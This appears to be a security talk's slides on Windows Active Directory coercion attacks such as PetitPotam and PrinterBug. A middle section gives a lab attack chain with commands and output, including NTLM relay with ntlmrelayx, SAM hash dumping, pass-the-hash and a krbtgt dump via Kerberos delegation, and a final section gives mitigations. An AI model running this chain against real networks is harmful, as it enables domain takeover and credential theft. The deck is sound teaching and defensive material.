

The Power of Coercion Techniques in Windows Environments

How to use them to exploit vulnerabilities

 Bundesministerium Klimaschutz, Umwelt, Energie, Mobilität, Innovation und Technologie Bundesministerium
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








Why Are We Here?



whoami /all

Martin Grottenthaler @ SBA



IT Security Consultant

- Penetration testing
- Red teaming
- Trainings ullet




Kind of a Windows person 😳


Agenda


- 1. What the Hack Is Coercion?
- 2. Hacking Using Coercion Techniques!
- 3. What to Do About It?

1. What the Hack Is Coercion?

What Does "Coercion" Mean?







Coercion Techniques in Detail

Some of the Techniques

PetitPotam (MS-EFSR)
 PrinterBug (MS-RPRN)
 ShadowCoerce (MS-FSRVP)
 DFSCoerce (MS-DFSNM)
 Domain Controller
 Push Subscriptions
 Exchange
 "Outlook Elevation of Privileges"
 User

PetitPotam (MS-EFSR)



Thank you DALL·E!

What is PetitPotam?

https://github.com/topotam/PetitPotam

by Lionel Gilles


Discovered/Released in 2021

How Does It Work?

Encrypting File System Remote (EFSRPC) Protocol



efsr/82543317-ac9c-4340-b6a6-8cd5e6ad8215



The Lab



DC (Server 2022)



Server (Server 2022)



Windows 11



Kali Linux

How Does This Work in Real Life?



SBA Research

Photo by Markus Spiske on Unsplash

Screenshots

ip -br a UNKNOWN 127.0.0.1/8 ::1/128 192.168.245.128/24 fe80::55be:42ae:3c9b:74b0/64 thØ ocker0 DOWN 🌑 python3 <u>coercion/PetitPotam/PetitPotam.py</u> -u test -p Password123 -d sba-research.lab 192.168.245.128 dc.sba-research.lab PoC to elicit machine account authentication via some MS-EFSRPC functions by topotam (@topotam77) Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN rying pipe lsarpc Connecting to ncacn_np:dc.sba-research.lab[\PIPE\lsarpc] +] Connected! Binding to c681d488-d850-11d0-8c52-00c04fd90f7e Successfully bound! Sending EfsRpcOpenFileRaw! Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED! OK! Using unpatched function! Sending EfsRpcEncryptFileSrv! Got expected ERROR_BAD_NETPATH exception!! Attack worked!

─> sudo responder -I eth0 -v					
	-,,1 1,,, 1 11 _ 11 _ 111 _ -11_1_11				
NBT-NS, LLMNR & MDN	S Responder 3.1.3.0				
To support this project: Patreon -> https://www.patreon.com/PythonResponder Paypal -> https://paypal.me/PythonResponder Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C					
[SMB] NTLMv2-SSP Client [SMB] NTLMv2-SSP Username					
[SMB] NTLMv2-SSP Hash					
00510047004600540001001E00					
51004700460054002E004C004	F00430041004C0003001400				
0106000400020000008003000					
00000900280063006900660073	3002F003100390032002E00				

What Did We Get?

Net-NTLMv2 authentication from **DC\$** (machine account)

Practically impossible to crack

But it can be relayed!

How can we use this? More on this later!

Sorry, This Has Been Fixed...

BLEEPING	COMPUTER		f y @ •	Q Search Site
NEWS -	DOWNLOADS -	VIRUS REMOVAL GUIDES 👻	TUTORIALS -	DEALS -

Home > News > Security > Microsoft shares mitigations for new PetitPotam NTLM relay attack

Microsoft shares mitigations for new PetitPotam NTLM relay attack

By Ionut Ilascu	🛗 July 24, 2021	💓 07:38 PM	0
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Microsoft has released mitigations for the new PetitPotam NTLM relay attack that allows taking over a domain controller or other Windows servers.

PetitPotam is a new method that can be used to conduct an NTLM relay attack discovered by French security researcher Gilles Lionel (Topotam). This method was disclosed this week along with a proof-of-concept (PoC) script.

The new attack uses the Microsoft Encrypting File System Remote Protocol (EFSRPC) to force a device, including domain controllers, to authenticate to a remote NTLM relay controlled by a threat actor.

Once a device authenticates to a malicious NTLM server, a threat actor can steal hash and certificates that can be used to assume the identity of the device and its privileges.

SBA Research

https://www.bleepingcomputer.com/news/security/microsoft-shares-mitigations-for-new-petitpotam-ntlm-relay-attack/

Twice Actually...

BLEEPING	COMPUTER		f y @ •	Q Search Site	
NEWS 👻	DOWNLOADS -	VIRUS REMOVAL GUIDES 👻	TUTORIALS -	DEALS -	
Home > News > Security > Microsoft fixes new PetitPotam Windows NTLM Relay attack vector					

Microsoft fixes new PetitPotam Windows NTLM Relay attack vector

By Lawrence Abrams	May 14, 2022	(전 03:39 PM	0
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A recent security update for a Windows NTLM Relay Attack has been confirmed to be a previously unfixed vector for the PetitPotam attack.

During the May 2022 Patch Tuesday, Microsoft released a security update for an actively exploited NTLM Relay Attack labeled as a 'Windows LSA Spoofing Vulnerability' and tracked as CVE-2022-26925.

"An unauthenticated attacker could call a method on the LSARPC interface and coerce the domain controller to authenticate to the attacker using NTLM. This security update detects anonymous connection attempts in LSARPC and disallows it."

An NTLM Relay Attack allows threat actors to force devices, even domain controllers, to authenticate against malicious servers they control. Once a device authenticates, the malicious server can impersonate the device and gain all of its privileges.

These attacks are significant problems as they could allow a threat actor to gain complete control over the domain.

SBA Research

https://www.bleepingcomputer.com/news/security/microsoft-fixes-new-petitpotam-windows-ntlm-relay-attack-vector/

So, It Is Fixed?

lt's c	omplica	ted					•
Partn Mic	^{er} rosoft						
Since	2021	•	July 🔻	Day 🔻			

Summary

One (out of 14) RPC methods has been patched Unauthenticated RPC access is not allowed anymore

We now need an Active Directory user

Summary

One (out of 14) RPC methods has been patched Unauthenticated RPC access is not allowed anymore

We now need an Active Directory user X This is sufficient because users generally set very secure, unguessable passwords

Countermeasure: Use at Your Own Risk



https://twitter.com/gentilkiwi/status/1421949715986403329






• It's a feature

Countermeasures against the impact

- Easy and most probably already in your backlog
- More on this later

PrinterBug (MS-RPRN)



SBA Research

Thank you DALL·E!

What Is the PrinterBug

Discovered in 2018 by Will Schroeder Possibly the oldest coercion technique (?) <u>https://fr.slideshare.net/harmj0y/derbycon-the-</u> <u>unintended-risks-of-trusting-active-directory#47</u>

How Does It Work?

Print System Remote Protocol (MS-RPRN) Printer Service needs to be available on the target

What Is PrintNightmare?

Print spooler vulnerability

- Elevation of privileges
- Remote code execution

Has nothing to do with PrinterBug! Mitigation removes Print Spooler

How Does This Work in Real Life?



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Photo by Markus Spiske on Unsplash

Screenshots

PrinterBug vs PetitPotam

	PrinterBug	PetitPotam
Туре	RPC (MS-RPRN)	RPC (MS-EFSR)
Impact	Net-NTLMv2 authentication	Net-NTLMv2 authentication
Credentials	Required	Required
Availability on servers	Spool Service often disabled because of PrintNightmare	Yes (in my experience)
Fixed?	No	No

The Others

Yes, there are many!

ShadowCoerce (MS-FSRVP)

https://github.com/ShutdownRepo/ShadowCoerce

File Server Remote VSS protocol (shadow copies)

Patched! (now only works as backup operator)

DFSCoerce (MS-DFSNM)

https://github.com/Wh04m1001/DFSCoerce Distributed File System (DFS) Namespace

Management Protocol

Only works against domain controllers!

Exchange Push Subscriptions

https://github.com/dirkjanm/privexchange/

by Dirk-jan Mollema

Only works against Exchange




✓ Patched!

"Outlook Elevation of Privileges" (CVE-2023-23397)


Vulnerability in Outlook client itself

- Coercion of a user account
- Not completely fixed



Relation With Other Coercion Techniques

- User accounts, not machine accounts
 - $_{\circ}$ Could be cracked C
- Outlook client vulnerability
- Might actually get fixed 😨



2. Hacking Using Coercion Techniques!

What Can We Do?


Coerce a computer to connect to anywhere

- Using machine account
- With AD privileges

Net-NTLM authentication

- **Cannot** be cracked (machine account)
- Can be relayed

What to Exploit With This?



"Certified Pre-Owned"


by Will Schroeder and Lee Christensen <u>https://specterops.io/wp-</u> <u>content/uploads/sites/3/2022/06/Certified_Pre-</u> <u>Owned.pdf</u>

We focus on **ESC8**


NTLM Relay to AD CS HTTP Endpoint (ESC8)


- Exploit using coercion techniques
- If you followed security news in 2021, you have read about this!

PetitPotam + ADCS



PetitPotam + ADCS





But It's 2023

KB5005413: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS)

Windows Server 2008, Windows Server 2008 R2, Windows Server 2016, Windows Server 2019,

Summary

Microsoft is aware of PetitPotam which can potentially be used to attack Windows domain controllers or other Windows servers. PetitPotam is a classic NTLM Relay Attack, and such attacks have been previously documented by Microsoft along with numerous mitigation options to protect customers. For example: Microsoft Security Advisory 974926.

If not yet done, implement mitigations:

https://support.microsoft.com/en-us/topic/kb5005413mitigating-ntlm-relay-attacks-on-active-directory-certificateservices-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429


Summary

- PetitPotam != ESC8 (Relay to ADCS)
- PetitPotam is not fixed or mitigated
- But you hopefully implemented mitigations for ESC8
- ESC8 can also be exploited with any other coercion technique

Lesser Known Problems

ESC8 is old news

Machine Accounts That Are Local Admin



Questions

- Is this a common configuration?
- Why would anyone configure this?

Answer: Microsoft Configuration Manager

Elevated permissions

Configuration Manager requires some accounts to have elevated permissions for on-going operations. For example, see Prerequisites for installing a primary site. The following list summarizes these permissions and the reasons why they're needed.

- The computer account of the primary site server and central administration site server requires:
 - Local Administrator rights on all site system servers. This permission is to manage, install, and remove system services. The site server also updates local groups on the site system when you add or remove roles.
 - Sysadmin access to the SQL Server instance for the site database. This permission is to configure and manage SQL Server for the site. Configuration Manager tightly integrates with SQL, it's not just a database.

https://learn.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/accounts

BloodHound Query

```
MATCH p=(c1:Computer)-[r1:MemberOf*1..]-
>(g:Group)-[:AdminTo]->(c2:Computer)
return p
```

```
MATCH p=(c1:Computer)-[:AdminTo]-
>(c2:Computer)
return p
```

BloodHound Output (In the Lab)



Let's Exploit It!



SBA Research

Photo by Markus Spiske on Unsplash

Screenshots

ntlmrelayx.py -t server.sba-research.lab -smb2suppor mpacket v0.10.0 - Copyright 2022 SecureAuth Corporation

*] Protocol Client DCSYNC loaded.. Protocol Client HTTPS loaded.. Protocol Client HTTP loaded.. Protocol Client IMAP loaded.. Protocol Client IMAPS loaded.. Protocol Client SMB loaded.. Protocol Client SMTP loaded.. Protocol Client MSSQL loaded.. Protocol Client LDAP loaded.. Protocol Client LDAPS loaded.. Protocol Client RPC loaded.. Running in relay mode to single host Setting up SMB Server Setting up HTTP Server on port 80 Setting up WCF Server *] Setting up RAW Server on port 6666 *] Servers started, waiting for connections

rying pipe lsarpc -] Connecting to ncacn_np:dc.sba-research.lab[\PIPE\lsarpc] +] Connected! +] Sinding to c681d488-d850-11d0-8c52-00c04fd90f7e +] Successfully bound! -] Sending EfsRpcOpenFileRaw!

python3 coercion/PetitPotam/PetitPotam.py -u test -p Password123 -d sba-research.lab 192.168.245.128 dc.sba-research.lab

[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!

-] OK! Using unpatched function!
- [-] Sending EfsRpcEncryptFileSrv!
- [+] Got expected ERROR_BAD_NETPATH exception!!
- [+] Attack worked!

[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.245.101, attacking target smb://server.sba-research.lab [*] Authenticating against smb://server.sba-research.lab as SBA-RESEARCH/DC\$ SUCCEED [*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.245.101 controlled, but there are no more targets left! [*] Target system bootKey: 0x1aeb11ddd7b03c264fea10a5f9e5a37d

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:7cf6db0e5e6d1923590be7f3ff1493cb:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

NDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:dc1fce1c5b3f42b9b6ccddf822a289c0:::


[*] Done dumping SAM hashes for host: server.sba-research.lab

Impact


- We are local admin on a server
- Let's see where we can go from here
- In the real world there might be hashes! ③

Kerberos Delegation

General Functionality





Problem: Unconstrained Delegation



How Can We Abuse This?

- Normally an attacker would have to wait for a domain admin to connect
- Kerberos delegation also works with machine accounts





Vulnerability

SERVER.SBA-RESEARCH.LAB

OVERVIEW

Sessions	1
Reachable High Value Targets	٥
Sibling Objects in the Same OU	1
Effective Inbound GPOs	2
See Computer within Domain/OU Tree	
NODE PROPERTIES	-
Object ID	S-1-5-21-1487952121-2794921983-1025249206-1103
OS	Windows Server 2022 Standard Evaluation
Enabled	True
Allows Unconstrained Delegation	True
Compromised	False
LAPS Enabled	False
Password Last Changed	Tue, 09 May 2023 00:30:06 GMT
Last Logon	Tue, 09 May 2023 14:33:29 GMT

Let's Exploit It!



SBA Research

Photo by Markus Spiske on Unsplash





python3 coercio

/PetitPotam/PetitPotam.py -u test -p Password123 -d sba-research.lab server.sba-research.lab dc.sba-research.l

100f

Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN

<pre>crackmapexec smb server.sba-research.lab -u Administrator -H 7cf6db0e5e6d1923590be7f3ff1493cblocal-auth -M nanod SMB server.sba-research.lab 445 SERVER [+] Windows 10.0 Build 20348 x64 (name:SERVER) (domain:SERVE NANODUMP server.sba-research.lab 445 SERVER [+] 64-bit Windows 40:00:00 Build 20348 x64 (name:SERVER) (domain:SERVER) NANODUMP server.sba-research.lab 445 SERVER [+] 64-bit Windows 40:00:00 Server.sba-research.lab 445 SERVER [+] 64-bit Windows 40:00:00:00:00:00:00:00:00:00:00:00:00:0</pre>	<pre>Ry (signing:False) (SMBW1:False) wm3d!) s* rite C:\Windows\Temp\20230531_1610.log _64_SERVER.log secretsdump.py -k -no-pass -just-dc-user krbtgt dc\\$@dc.SBA-RESEARCH.LAB Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7409a811650830d2d4a7aaeb68e98329::: [*] Kerberos keys grabbed krbtgt:aes256-cts-hmac-sha1-96:049e148d5dead2596b7b5df598e231fb36bbee8f3007e24b6f85651e5783 krbtgt:aes128-cts-hmac-sha1-96:a177f83761e01bcf37d7f9e9250940ad krbtgt:des-cbc-md5:1f208304fbbc4c70 [*] Cleaning up</pre>
<pre> ticketConverter.py kerberos/TGT SBA-RESEARCH.LAB DC\\$ krbtgt SBA-RESEARCH.LAB 45e84a44.kirbi kerl Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] converting kirbi to ccache [*] done export KRBSCCNAME=/home/sba/kerberos/dc.ccache export KRBSCCNAME=/home/sba/kerberos/dc.ccache klist Ticket cache: FILE:/home/sba/kerberos/dc.ccache Default principal: DC\$3SBA-RESEARCH.LAB Valid starting Expires Service principal 05/31/2023 16:14:10 06/01/2023 02:12:29 krbtgt/SBA-RESEARCH.LABGSBA-RESEARCH.LAB renew until 06/01/2023 16:12:29</pre>	beros/dc.ccache

Impact

We are domain admin!

Solution: Constrained Delegation As min Domain Controller nair Act As Domain Admin **Domain Admin Database Server** Web Server Trust this computer for delegation for: • Database Server

Other Solutions

- \boldsymbol{X} "Account is sensitive and cannot be delegated"
- **X** Protected Users Security Group

Not applicable in our case: we are using machine accounts

3. What to Do About It?

Summary of the Problem



Coercion Techniques

There are many

They won't be fixed

Most probably not our starting point

Misconfigurations

Nothing new

Well established best practices

Also help against other attacks

This is where we start

SMB Signing

- Protects against MITM attacks
 - Like Net-NTLM relaying!
- Servers (and clients) -> always require signing

SBA Research

https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/overview-server-message-block-signing

LDAP Signing and Channel Binding

- Helps against resource-based delegation attacks
- No relaying of LDAP anymore

(Un)constrained Delegation

- Never use unconstrained delegation
- Always use constrained delegation

SBA Research

https://learn.microsoft.com/en-us/defender-for-identity/security-assessment-unconstrained-kerberos

Audit Local Admin Privileges


- Machines should not be admin to other machines
 - Only if absolutely required
 - SMB signing required!
- Audit this regularly, with e.g. BloodHound

Network Segregation

- Stops attackers early on
- Network segregation is hard, but helps a lot!

Are Those New Measures?

Countermeasure	Year Introduced
SMB Signing	1998 (Windows 98)
LDAP Signing	2003 (Server 2003)
LDAP Channel Binding	2017 (CVE-2017-8563)
Constrained Delegation	2003 (Server 2003)
Firewalls	Late 80s



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